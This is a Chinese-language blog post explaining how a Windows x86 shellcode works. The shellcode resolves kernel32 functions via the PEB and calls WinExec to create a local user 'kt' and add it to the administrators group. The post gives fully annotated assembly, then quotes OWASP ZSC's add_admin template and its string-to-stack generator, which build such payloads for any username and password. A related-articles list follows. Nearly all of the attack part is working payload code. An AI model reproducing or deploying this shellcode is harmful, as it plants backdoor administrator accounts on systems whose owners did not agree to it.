前言

  • 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢?
  • 先来拆分一下汇编的功能
;寻找kernel32.dll的基地址
xor ecx,ecx
mov eax,dword ptr fs:[ecx+30h] ; EAX = PEB
mov eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
mov esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
lods dword ptr [esi] ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lods dword ptr [esi] ; EAX = Third(kernel32)
mov ebx,dword ptr [eax+10h] ; EBX = Base address
;查找kernel32.dll的导出表
mov edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,dword ptr [edx+78h] ; EDX = Offset export table
add edx,ebx; EDX = Export table
mov esi,dword ptr [edx+20h] ; ESI = Offset names table
add esi,ebx; ESI = Names table
xor ecx,ecx ; EXC = 0
;循环查找GetProcAddress函数
Get_Function:
inc ecx; Increment the ordinal
lods dword ptr [esi]; Get name offset
add eax,ebx ; Get function name
cmp dword ptr [eax],50746547h ; GetProcAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+4],41636F72h; rocAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+8],65726464h; ddress
jne 0012FE9B;Get_Function
;寻找GetProcAddress 函数
mov esi,dword ptr [edx+24h]; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,word ptr [esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,dword ptr [edx+1Ch]; ESI = Offset address table
add esi,ebx; ESI = Address table
mov edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress
push ebx;PUSH kernel32.Base address
push edx;PUSH kernel32.GetProcAddress
;寻找WinExec函数地址
xor ecx,ecx ; ECX = 0
push ecx; PUSH ECX
mov ecx,61636578h;string acex
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
push 456E6957h;string EniW
push esp;PUSH ESP WinExec
push ebx;PUSH EBX kernel32.Base address
call edx;CALL GetProcAddress
add esp,8;ESP+8
pop ecx;ECX=0
push eax;PUSH EAX-->kernel32.WinExec Addresss
;赋值命令行字符串
xor ecx,ecx;ECX=0
push ecx;PUSH ECX
push 64646190h;string dda[90]
pop ecx;ECX=string dda[90]
shr ecx,8;ECX=00646461 string dda
push ecx;PUSH ECX
push 2F20746Bh
push 2073726Fh
push 74617274h
push 73696E69h
push 6D646120h
push 70756F72h
push 676C6163h
push 6F6C2074h
push 656E2026h
push 26206464h
push 612F2074h
push 6B20746Bh
push 20726573h
push 75207465h
push 6E20632Fh
push 20657865h
push 2E646D63h
xor ebx,ebx;EBX=0
mov ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
xor ecx,ecx;ECX=0
inc ecx;EXC=1
push ecx;PUSH ECX=1
push ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
call eax;CALL WinExec
;堆栈平衡
add esp,50h;ESP+50h
pop edx;EDX=kernel32.GetProcAddress
pop ebx;EBX=kernel32.Base Address
;退出程序
xor ecx,ecx;ECX=0
mov ecx,61737365h;string asse
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a"
push 636F7250h;string ; Proc
push 74697845h;string ; Exit
push esp;string "ExitProcess"
push ebx;kernel32.dll base address
call edx; GetProcAddress(Exec)
xor ecx,ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess

OWASP-ZSC部分源码

  • 添加用户的汇编指令
#!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
from math import ceil def add_admin(command_hex, command):
return '''
xor %ecx,%ecx
mov %fs:0x30(%ecx),%eax
mov 0xc(%eax),%eax
mov 0x14(%eax),%esi
lods %ds:(%esi),%eax
xchg %eax,%esi
lods %ds:(%esi),%eax
mov 0x10(%eax),%ebx
mov 0x3c(%ebx),%edx
add %ebx,%edx
mov 0x78(%edx),%edx
add %ebx,%edx
mov 0x20(%edx),%esi
add %ebx,%esi
xor %ecx,%ecx
inc %ecx
lods %ds:(%esi),%eax
add %ebx,%eax
cmpl $0x50746547,(%eax)
jne 23 <.text+0x23>
cmpl $0x41636f72,0x4(%eax)
jne 23 <.text+0x23>
cmpl $0x65726464,0x8(%eax)
jne 23 <.text+0x23>
mov 0x24(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,2),%cx
dec %ecx
mov 0x1c(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,4),%edx
add %ebx,%edx
push %ebx
push %edx
xor %ecx,%ecx
push %ecx
mov $0x61636578,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x456e6957
push %esp
push %ebx
call *%edx
add $0x8,%esp
pop %ecx
push %eax
xor %ecx,%ecx
push %ecx
{0}
xor %ebx,%ebx
mov %esp,%ebx
xor %ecx,%ecx
inc %ecx
push %ecx
push %ebx
call *%eax
add ${1},%esp
pop %edx
pop %ebx
xor %ecx,%ecx
mov $0x61737365,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x636f7250
push $0x74697845
push %esp
push %ebx
call *%edx
xor %ecx,%ecx
push %ecx
call *%eax
'''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4)))))) def run(data):
username = data[0]
passsword = data[1]
command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
return add_admin(stack.generate(command, "%ecx", "string"), command)
  • 拿到用户和密码后拼接成添加用户名的命令行,调用核心模块里的generate函数,生成要执行的命令行存进ecx寄存器里,再根据命令行十六进制的长度提升堆栈空间。

  • generate函数的源码

def generate(data, register, gtype):
length = len(data)
if gtype == 'int':
flag_8 = True
try:
data = hex(int(data, 8))
except:
flag_8 = False
if flag_8 is False:
try:
data = hex(int(data, 16))
except:
error('hex or digit required!\nExit\n')
sys.exit(0)
if gtype == 'string':
data = st(data)
if length <= 3:
if gtype == 'string':
data = str('0x') + str(data)
if len(data) % 2 is not 0:
data = data.replace('0x', '0x0')
if len(data) is 8:
data = data + '90\npop %s\nshr $0x8,%s\npush %s\n' % (
register, register, register)
if len(data) is 6:
data = data + '9090\npop %s\nshr $0x10,%s\npush %s\n' % (
register, register, register)
if len(data) is 4:
data = data + '909090\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
data = str('push $') + str(data)
if length >= 4:
if gtype == 'int':
data = data[2:]
stack_content = data
shr_counter = len(stack_content) % 8
shr = None
if shr_counter is 2:
shr = '\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
stack_content = stack_content[0:2] + '909090' + stack_content[2:]
if shr_counter is 4:
shr = '\npop %s\nshr $0x10,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:4] + '9090' + stack_content[4:]
if shr_counter is 6:
shr = '\npop %s\nshr $0x8,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:6] + '90' + stack_content[6:]
zshr = shr
m = int(len(stack_content))
n = int(len(stack_content) / 8)
file_shellcode = ''
if (len(stack_content) % 8) is 0:
shr_n = 0
r = ''
while (n is not 0):
if shr is not None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
shr = None
if shr is None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
if zshr is None:
file_z = file_shellcode
if zshr is not None:
rep1 = file_shellcode[:16]
rep2 = rep1 + zshr
file_z = file_shellcode.replace(rep1, rep2)
data = file_z
return data
  • 接受三个参数,data, register, gtype分别是数据,存储到哪一个寄存器,数据类型。

最新文章

  1. .className = &quot;highlight&quot;;.setAttribute(&quot;class&quot;, &quot;highlight&quot;);
  2. 清空FORM表单的几种方式 Reset 重加载
  3. UVa 10003 (可用四边形不等式优化) Cutting Sticks
  4. hdu 4419 Colourful Rectangle
  5. unity读取Sqlite数据库
  6. 【1】Hover 效果收集
  7. find中的-print0和xargs中-0的区别
  8. Mysql基础知识整
  9. 网页静态化技术Freemarker的详细介绍
  10. DeepLearning.ai学习笔记(三)结构化机器学习项目--week2机器学习策略(2)
  11. select, poll, epoll的实现分析
  12. WinServer配置MySQL主从同步
  13. 一次 HTTP 请求响应过程的完整解析
  14. vue+cordova插件使用,bluetoothSerial.connect()连接失败
  15. spark2.4.0+hadoop2.8.3全分布式集群搭建
  16. UML图之时序图
  17. HTTP之referrer
  18. 洛谷P3952 时间复杂度【字符串】【模拟】
  19. 当碰到需要调试打包后的js
  20. P1792 [国家集训队]种树

热门文章

  1. 矩阵快速幂+概率DP poj 3744
  2. iframe子页面之间值传递
  3. Linux 改变文件的所有者
  4. 【资源分享】RPG Maker 2000/2003 简体中文版
  5. centos 6.10 安装mysql 5.7.27 出现缺少libnuma.so.1的问题
  6. 【Python爬虫程序】抓取MM131美女图片,并将这些图片下载到本地指定文件夹。
  7. STM32F030 启用内部晶振并配置系统时钟为48M
  8. AppBar 自定义顶部导航按钮 图标、颜色 以及 TabBar 定义顶部 Tab 切换
  9. iOS开发常用Mac终端命令
  10. call深入理解